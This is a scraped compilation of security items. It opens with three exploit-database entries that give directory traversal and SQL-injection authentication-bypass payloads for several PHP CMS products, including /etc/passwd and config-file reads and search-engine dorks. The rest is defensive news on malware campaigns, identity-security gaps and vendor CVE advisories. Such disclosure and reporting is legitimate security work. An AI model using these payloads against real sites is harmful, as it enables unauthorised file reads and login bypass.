KPOT Stealer CMS 2.0 suffers from a directory traversal vulnerability.

    ====================================================================================================================================| # Title     : KPOT Stealer CMS v2.0 Directory Traversal Vulnerability                                                            || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit)                                            || # Vendor    : https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/kpot2/KPOT.md                       |  ====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine [+] onfected file: download.php   <?php     if (isset($_GET['file']))     {     $file = $_GET['file'];     header('Content-Disposition: attachment; filename="'.basename($file).'"');     header('Content-Length: ' . filesize($file));     readfile($file);   }   ?>[+] use payload : download.php?file=../../../../../../../../../etc/passwd[+] http://127.0.0.1/KPOT/download.php?file=../../../../../../../../../etc/passwdGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

KPOT Stealer CMS 2.0 Directory Traversal

KPK CMS version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

    ====================================================================================================================================| # Title     : KPK CMS v1.0 Auth by pass Vulnerability                                                                            || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 74.0(32-bit)                                               | | # Vendor    : http://www.kpkcomputer.com/                                                                                        |  | # Dork      : "Developed by KPK Computer"                                                                                        |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : user & pass = ' or 0=0 #[+] http://Targetthai-modeling-associationorg/admin/Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

KPK CMS 1.0 SQL Injection

Karenderia MRS version 5.3 suffers from a directory traversal vulnerability.

    ====================================================================================================================================| # Title     : Karenderia MRS v5.3 Directory Traversal Vulnerability                                                              || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 68.0(64-bit)                                               | | # Vendor    : https://github.com/ashishvazirani/food                                                                             |  | # Dork      : 1149 N GOWER ST, 90038 United States Call Us 111111111                                                             |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use payload : /exportmanager/ajax/getfiles?f=/../../protected/config/main.php[+] http://127.0.0.1Trgtbastisapp.com/kmrs/exportmanager/ajax/getfiles?f=/../../protected/config/main.phpGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Karenderia MRS 5.3 Directory Traversal

By Waqas
KEY FINDINGS Organizations should take steps to protect themselves from this campaign by keeping software up to date,…
This is a post from HackRead.com Read the original post: Rust Implant Used in New Malware Campaign Against Azerbaijan

**KEY FINDINGS**

*   **A new malware campaign targeting Azerbaijani targets has been discovered.**

*   **The campaign uses a novel malware implant written in the Rust programming language.**

*   **The implant is difficult to detect by security solutions and reverse engineering.**

*   **The attackers used a decoy image file of the Azerbaijani MOD symbol in the campaign.**

Organizations should take steps to protect themselves from this campaign by keeping software up to date, educating employees about cybersecurity best practices, and using a comprehensive security solution.

A new malware campaign targeting Azeri infrastructure has been discovered by the Deep Instinct Threat Lab. The campaign is notable for its use of a novel malware implant written in the Rust programming language.

The campaign has at least two different initial access vectors. The first is a malicious LNK file with the filename “1.KARABAKH.jpg.lnk.” This file has a double extension to lure the victim into clicking on it, as it appears to be an image file related to the recent military conflict in Nagorno-Karabakh.

The LNK file downloads and executes an MSI installer hosted on Dropbox. This installer then drops an implant written in Rust, an XML file for a scheduled task to execute the implant, and a decoy image file. The image file includes watermarks of the symbol of the Azerbaijani Ministry of Defense (MOD).

Decoy image file and the invoice (Credit: Deep Instinct Threat Lab)

The second initial access vector is a modified version of a document that was previously used by the Storm-0978 group. This document exploits CVE-2017-11882 in Microsoft Equation Editor to download and install a malicious MSI file. This MSI file also drops a variant of the same Rust implant, as well as a decoy PDF invoice.

Once the Rust implant is executed, it goes to sleep for 12 minutes. This is a known method to avoid detection by security researchers and sandboxes. The implant is then expected to gather information and send it to the attacker’s server.

According to Deep Instinct Threat Lab’s blog post, could not attribute these attacks to any known threat actor. However, the fact that both Rust implants had zero detections when first uploaded to VirusTotal shows that writing malware in esoteric languages can bypass many security solutions.

The campaign attack flow (Credit: Deep Instinct Threat Lab)

**Implications of the Campaign**

The use of a Rust implant in this campaign is significant for several reasons. First, Rust is a relatively new programming language, and it is not yet widely used by malware authors. This makes it more difficult for security products to detect Rust malware.

Second, Rust is a compiled language, which means that the malware is converted into machine code before it is executed. This makes it more difficult to reverse engineer the malware.

Azerbaijan and Armenia have been engaged in several conflicts, which have witnessed a significant number of cyber attacks. However, it’s essential not to overlook or dismiss recent tensions between Azerbaijan and Iran as a potential cause of this malware campaign.

**Recommendations for Organizations**

Organizations should take the following steps to protect themselves from this campaign and other similar attacks:

*   Keep software up to date, including operating systems and security solutions.
*   Be careful about clicking on links in emails and messages, even if they appear to be from known senders.
*   Educate employees about cybersecurity best practices, such as phishing awareness and password security.
*   Use a security solution that can detect and block malware written in esoteric languages.

**Conclusion**

This new malware campaign targeting Azerbaijani targets serves as a reminder that attackers are continuously developing new techniques to bypass security solutions. Organizations must take the necessary steps to safeguard themselves from these threats.

While common sense is a valuable defence against such attacks, organizations should also contemplate transitioning their infrastructure from Windows to Linux as an additional security measure.

Rust Implant Used in New Malware Campaign Against Azerbaijan

When you roll out a security product, you assume it will fulfill its purpose. Unfortunately, however, this often turns out not to be the case. A new report, produced by Osterman Research and commissioned by Silverfort, reveals that MFA (Multi-Factor Authentication) and PAM (Privileged Access Management) solutions are almost never deployed comprehensively enough to provide resilience to identity

Identity Threat / Attack Surface

When you roll out a security product, you assume it will fulfill its purpose. Unfortunately, however, this often turns out not to be the case. A new report, produced by Osterman Research and commissioned by Silverfort, reveals that MFA (Multi-Factor Authentication) and PAM (Privileged Access Management) solutions are almost never deployed comprehensively enough to provide resilience to identity threats. As well, service accounts – which are typically beyond the scope of protection of these controls – are alarmingly exposed to malicious compromise. These findings and many more can be found in **"The State of the Identity Attack Surface: Insights Into Critical Protection Gaps****,"** the first report that analyzes organizational resilience to identity threats.

****What is the "Identity Attack Surface"?****

The identity attack surface is any organizational resource that can be accessed via username and password. The main way that attackers target this attack surface is through the use of compromised user credentials. In this way, the identity attack surface differs substantially from other attack surfaces. When targeting endpoints, for example, attackers have to develop innovative malware and zero-day exploits. But in the world of identity the default attack tool is legitimate usernames and passwords. And with an estimated 24B username-password combinations available on the Dark Web, this means the only work attackers need to do is gain the initial access.

****But I Have MFA and PAM in Place to Prevent Attacks****

Do you, though? According to the report, which summarizes findings from 600 identity security professionals surveyed around the world, the vast majority of organizations have MFA and PAM solutions in place yet remain exposed to attacks. Here's why:

****Less than 7% of organizations have MFA protection for the majority of their critical resources****

One of the questions the survey asked was: What proportion of the following resources and access methods are you currently able to protect with MFA?

*   Desktop logins (e.g. Windows, Mac)
*   VPN and other remote connection methods
*   RDP
*   Command-line remote access (e.g. PowerShell, PsExec)
*   SSH
*   Homegrown and legacy apps
*   IT infrastructure (e.g. management consoles)
*   VDI
*   Virtualization platforms and hypervisors (e.g. VMware, Citrix)
*   Shared network drives
*   OT systems

This graph summarizes the results:

These numbers imply a critical gap, since a resource without MFA is a resource that an adversary can seamlessly access using compromised credentials. Translating this to a real-life scenario, a threat actor using command-line tool that's not protected with MFA – such as PsExec or Remote PowerShell – will encounter no obstacles when moving across a network in order to plant a ransomware payload on multiple machines.

****Only 10.2% of organizations have a fully onboarded PAM solution****

PAM solutions are notorious for long, complex deployments, but how bad is it really? The report reveals the answer: It's bad. Here is an aggregation of respondents' answers to the question "Where are you in your PAM implementation journey?"

As you can see, most organizations are stuck somewhere along their PAM journey, which means at least some of their privileged users are exposed to attacks. And keep in mind that admin users are an attackers' fastest path to your crown jewels. Failing to protect all of them is a risk no organization can afford to ignore.

****78% of organizations can't prevent malicious access with compromised service accounts****

Service accounts are a well-known blind spot. Because these non-human accounts are often highly privileged yet can't be protected by MFA – as well as the fact that they are typically undocumented and thus unmonitored – they are a prime target for adversaries.

Here are the answers to the question, "How confident are you in your ability to prevent attackers from using service accounts for malicious access in your environment?"

Note that the term "medium" here is a bit misleading, since the absence of real-time prevention essentially voids the security value of being able to detect an account's compromise.

****How Well Are You Protecting Your Environment's Identity Attack Surface? Use the Maturity Model****

The report goes beyond pointing out weaknesses and gaps — it offers a useful scoring model that, based on aggregated results across all the identity protection aspects, can reveal your level of resilience to identity threats.

The report found that very few organizations – as low as 6.6% – have a disciplined and implemented identity protection strategy in place. But use this model to answer the same questions and see how your organization stacks up, and also what actions you need to take.

_Ready to see how resilient you are to identity threats? Access the report_ _**here**__**.**_

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Think Your MFA and PAM Solutions Protect You? Think Again

A new analysis of the Android banking trojan known as Hook has revealed that it's based on its predecessor called ERMAC.
"The ERMAC source code was used as a base for Hook," NCC Group security researchers Joshua Kamp and Alberto Segura said in a technical analysis published last week.
"All commands (30 in total) that the malware operator can send to a device infected with ERMAC malware, also

A new analysis of the Android banking trojan known as Hook has revealed that it's based on its predecessor called ERMAC.

"The ERMAC source code was used as a base for Hook," NCC Group security researchers Joshua Kamp and Alberto Segura said in a technical analysis published last week.

"All commands (30 in total) that the malware operator can send to a device infected with ERMAC malware, also exist in Hook. The code implementation for these commands is nearly identical."

Hook was first documented by ThreatFabric in January 2023, describing it as a "ERMAC fork" that's offered for sale for $7,000 per month. Both the strains are the work of a malware author called DukeEugene.

That said, Hook expands on ERMAC's functionalities with more capabilities, supporting as many as 38 additional commands when compared to the latter.

ERMAC's core features are designed to send SMS messages, display a phishing window on top of a legitimate app, extract a list of installed applications, gather SMS messages, and siphon recovery seed phrases for multiple cryptocurrency wallets.

Hook, on the other hand, goes a step further by streaming the victim's screen and interacting with the user interface to gain complete control over an infected device, capturing photos of the victim using the front facing camera, harvesting cookies related to Google login sessions, and plundering recovery seeds from more crypto wallets.

It can further send an SMS message to multiple phone numbers, effectively propagating the malware to other users.

Regardless of these differences, both Hook and ERMAC can log keystrokes and abuse Android's accessibility services to conduct overlay attacks in order to display content on top of other apps and steal credentials from over 700 apps. The list of apps to target is retrieved on the fly via a request to a remote server.

The malware families are also engineered to monitor for clipboard events and replace the content with an attacker-controlled wallet should the victim copy a legitimate wallet address.

A majority of Hook and ERMAC's command-and-control (C2) servers are located in Russia, followed by the Netherlands, the U.K., the U.S., Germany, France, Korea, and Japan.

As of April 19, 2023, it appears that the Hook project has been shuttered, according to a post shared by DukeEugene, who claimed to be leaving for a "special military operation" and that support for the software would be provided by another actor named RedDragon until the customers' subscription runs out.

Subsequently, on May 11, 2023, the source code for Hook is said to have been sold by RedDragon for $70,000 on an underground forum. The short lifespan of Hook aside, the development has raised the possibility that other threat actors could pick up the work and release new variants in the future.

The disclosure comes as a China-nexus threat actor has been linked to an Android spyware campaign targeting users in South Korea since the beginning of July 2023.

"The malware is distributed through deceptive phishing websites that pose as adult sites but actually deliver the malicious APK file," Cyble said. "Once the malware has infected the victim's machine, it can steal a wide range of sensitive information, including contacts, SMS messages, call logs, images, audio files, screen recordings, and screenshots."

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On top of that, the malware (APK package name "com.example.middlerankapp") takes advantage of accessibility services to monitor the apps used by the victims and prevent uninstallation.

It also contains a feature that allows the malware to redirect incoming calls to a designated mobile number controlled by the attacker, intercept SMS messages, and incorporate an unfinished keylogging functionality, indicating it's likely in active development.

The connections to China stem from references to Hong Kong in the WHOIS record information for the C2 server as well as the presence of several Chinese language strings, including "中国共产党万岁," in the malware source code, which translates to "Long live the Communist Party of China."

In a related development, Israeli newspaper Haaretz revealed that a domestic spyware company Insanet has developed a product called Sherlock that can infect devices via online advertisements to snoop on targets and collect sensitive data from Android, iOS, and Windows systems.

The system is said to have been sold to a country that's not a democracy, it reported, adding a number of Israeli cyber companies have attempted to develop offensive technology that exploits ads for profiling victims (a term called AdInt or ad intelligence) and distributing spyware.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Hook: New Android Banking Trojan That Expands on ERMAC's Legacy

A command injection vulnerability exists in RTS VLink Virtual Matrix Software Versions v5 (< 5.7.6) and v6 (< 6.5.0) that allows an attacker to perform arbitrary code execution via the admin web interface.

**Advisory Information**

*   **Advisory ID:** BOSCH-SA-893251-BT
*   **CVE Numbers and CVSS v3.1 Scores:**
    *   CVE-2023-34999
        *   Base Score: 8.4 (High)
*   **Published:** 30 Aug 2023
*   **Last Updated:** 30 Aug 2023

**Summary**

A security vulnerability has been uncovered in the admin interface of the RTS VLink Virtual Matrix Software. The vulnerability will allow a Remote Code Execution (RCE) attack.

Versions v5 (< 5.7.6) and v6 (< 6.5.0) of the RTS VLink Virtual Matrix Software are affected by this vulnerability. Older versions are not affected.

The vulnerability has been uncovered and disclosed responsibly by an external team of researchers.

**Affected Products**

*   RTS VLink Virtual Matrix Software on: Windows
    *   CVE-2023-34999
        *   Version(s): 5.0.0 - 5.7.6 (excluding)
        *   Version(s): 6.0.0 - 6.5.0 (excluding)

**Solution and Mitigations****Solution**

Update the VLink Virtual Matrix Software to version 5.7.6 if you are currently using a v5 version.

Update the VLink Virtual Matrix Software to version 6.5.0 if you are currently using a v6 version.

To ensure the security of your system, we strongly recommend that you update your software to the latest version. Instructions for downloading and updating your system may be found at https://products.rtsintercoms.com/binary/VLink\_Upgrade\_Instructions.pdf

**Mitigations**

If updating is not possible it is strongly advised to change the admin password of the RTS VLink Virtual Matrix Software if it is still set to the default password.

Blocking the web interface ports (80 and 443) of the RTS VLink Virtual Matrix Software in a firewall will prevent the vulnerability from being misused from a remote location.

In all cases it is still strongly advised to perform the update as soon as possible since that will remove the vulnerability.

**Vulnerability Details****CVE-2023-34999**

CVE description: A command injection vulnerability exists in RTS VLink Virtual Matrix Software Versions v5 (< 5.7.6) and v6 (< 6.5.0) that allows an attacker to perform arbitrary code execution via the admin web interface.

*   Problem Type:
    *   CWE-94 Improper Control of Generation of Code (‘Code Injection’)
*   CVSS Vector String: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H
    *   Base Score: 8.4 (High)

**Remarks****Security Update Information**

With respect to Directive (EU) 2019/770 and Directive (EU) 2019/771 and their national transposition laws, please note:

It is your responsibility to download and/or install any security updates provided by us, for example to maintain product or data security. If you fail to install a security update provided to you within a reasonable period of time, we will not be liable for any product defect solely due to the absence of such security update.

Alternatively, we are entitled to directly download and/or install security updates regardless of your settings. In these cases, we will provide you with the relevant information, e.g. in this security advisory.

**CVSS Scoring**

Vulnerability classification has been performed using the CVSS v3.1 scoring system . The CVSS environmental score is specific to each customer’s environment and should be defined by the customer to attain a final scoring.

**Additional Resources**

*   \[1\] VLink Upgrade Instructions: https://products.rtsintercoms.com/binary/VLink\_Upgrade\_Instructions.pdf
*   \[2\] VLink Software version 5.7.6: https://products.rtsintercoms.com/binary/VLink\_Virtual\_Matrix\_v576\_230729.zip
*   \[3\] VLink Software version 6.5.0: https://products.rtsintercoms.com/binary/VLink\_Virtual\_Matrix\_v650\_230811.zip

Please contact the Bosch PSIRT if you have feedback, comments, or additional information about this vulnerability at: psirt@bosch.com .

**Revision History**

*   30 Aug 2023: Initial Publication

**Appendix****Material List**

Please find the SAP Number and CTN of the affected products below.

SAP Number

CTN

F.01U.216.945

VLINK-8

F.01U.216.946

VLINK-8UPG

F.01U.264.751

VLINK-2EXP

F.01U.388.141

VLINK-8REDNT

F.01U.388.142

VLINK-1RENTAL

F.01U.388.143

VLINK-2REDNT

F.01U.388.144

VLINK-8SIP

F.01U.388.145

VLINK-2SIP

F.01U.388.146

VLINK-8SIPREDNT

F.01U.388.148

VLINK-2SIPREDNT

F.01U.393.239

VLINK-SVU

F.01U.393.240

VLINK-Lite

F.01U.393.241

VLINK-LiteUPG

F.01U.393.242

VLINK-VIDEO

F.01U.393.243

VLINK-VIDEO I/O

F.01U.393.244

VLINK-REC

F.01U.393.245

VLINK-ENCRYPT

F.01U.396.977

VLINK-8 SPACE

F.01U.396.978

VLINK-2 EXSPACE

CVE-2023-34999: Remote Code Execution in RTS VLink Virtual Matrix

An issue was discovered in Qt before 5.15.16, 6.x before 6.2.10, and 6.3.x through 6.5.x before 6.5.3 on Windows. When using the GDI font engine, if a corrupted font is loaded via QFontDatabase::addApplicationFont{FromData], then it can cause the application to crash because of missing length checks.

To use PolyGerrit, please enable JavaScript in your browser settings, and then refresh this page.

CVE-2023-43114

Categories: Exploits and vulnerabilities
Categories: News
Tags: theme

Tags:  themepack

Tags:  Microsoft

Tags:  cve-2023-38146

Tags:  msstyles

An exploit has been released for a vulnerability in .themes that was patched in the September 2023 Patch Tuesday update.



(Read more...)




The post ThemeBleed exploit is another reason to patch Windows quickly appeared first on Malwarebytes Labs.

Included in the September 2023 Patch Tuesday updates was a fix for a vulnerability which has been dubbed ThemeBleed. A Proof-of-Concept (PoC) exploit has been released by Gabe Kirkpatrick, one of the researchers acknowledged for reporting the vulnerability.

The Common Vulnerabilities and Exposures (CVE) database lists publicly disclosed computer security flaws. The ThemeBleed vulnerability was listed as CVE-2023-38146: a Windows Themes Remote Code Execution (RCE) vulnerability.

Microsoft assigned a CVSS score of 8.8 (out of 10) and gave it a severity rating “Important”, saying:

> “An attacker would need to convince a targeted user to load a Windows Themes file on a vulnerable system with access to an attacker-controlled SMB share.”

A _.theme_ file is a configuration (_.ini_) text file that is divided into sections, which specify visual elements that appear on a Windows desktop. Section names are wrapped in brackets (\[\]) inside the _.ini_ file. A ._theme_ file enables you to change the appearance of certain desktop elements.

A related file format, _.themepack_, was introduced with Windows 7 to help users share themes. A ._themepack_ must include your _.theme_ file, as well as the background picture, screen saver, and icons files.

Themes can be selected in the Personalization Control Panel only in Windows 7 Home Premium or higher, or only on Windows Server 2008 R2 when the Desktop component is installed.

The ThemeBleed exploit is based on a race condition that can be triggered by opening a specially crafted _.theme_ file. A race condition, or race hazard, is the behavior of a system where the output depends on the sequence or timing of other uncontrollable events. It becomes a bug when events do not happen in the order the programmer intended.

The _.theme_ files contain references to _.msstyles_ files, which should contain no code, only graphical resources that are loaded when the theme file invoking them is opened. When the .theme file is opened, the ._msstyles_ file will also be loaded.

The researcher found that invoking a check of the theme version calls the _ReviseVersionIfNecessary_ function and does not safely load a signed DLL (_\_vrf.dll_), because the DLL is closed after verifying the signature, and then re-opened when the DLL is loaded via a call to LoadLibrary. During that interval the file could be replaced by a malicious version.

Another problem lies in the fact that if a user were to download a theme from the web, this triggers the 'mark-of-the-web' (MOTW) warning. MOTW was originally an Internet Explorer security feature. It broadened out into a way for your Windows devices to raise a warning when interacting with files downloaded from who-knows-where. Over time, it even contributed to preventing certain types of files from running. However, this could be bypassed if the attacker wrapped the theme into a _.themepack_ file. When using the _.themepack_ file, the contained .theme opens automatically without serving the MOTW warning.

While Microsoft’s fix has removed the functionality that triggers the theme version check to avoid the race condition, it has not fixed the more fundamental problem in the verification procedure of _.msstyles_ files. Nor has it added MOTW warnings to _.themepack_ files.

The researcher notes that the vulnerability appears to be only present in Windows 11.

**We don’t just report on vulnerabilities—we identify them, and prioritize action.**

Cybersecurity risks should never spread beyond a headline. Keep vulnerabilities in tow by using Malwarebytes Vulnerability and Patch Management.

ThemeBleed exploit is another reason to patch Windows quickly

Categories: News
Tags: week

Tags:  security

Tags:  September

Tags:  2023

Tags:  iPhone

Tags:  

A list of topics we covered in the week of September 11 to September 17 of 2023



(Read more...)




The post A week in security (September 11 - September 17) appeared first on Malwarebytes Labs.

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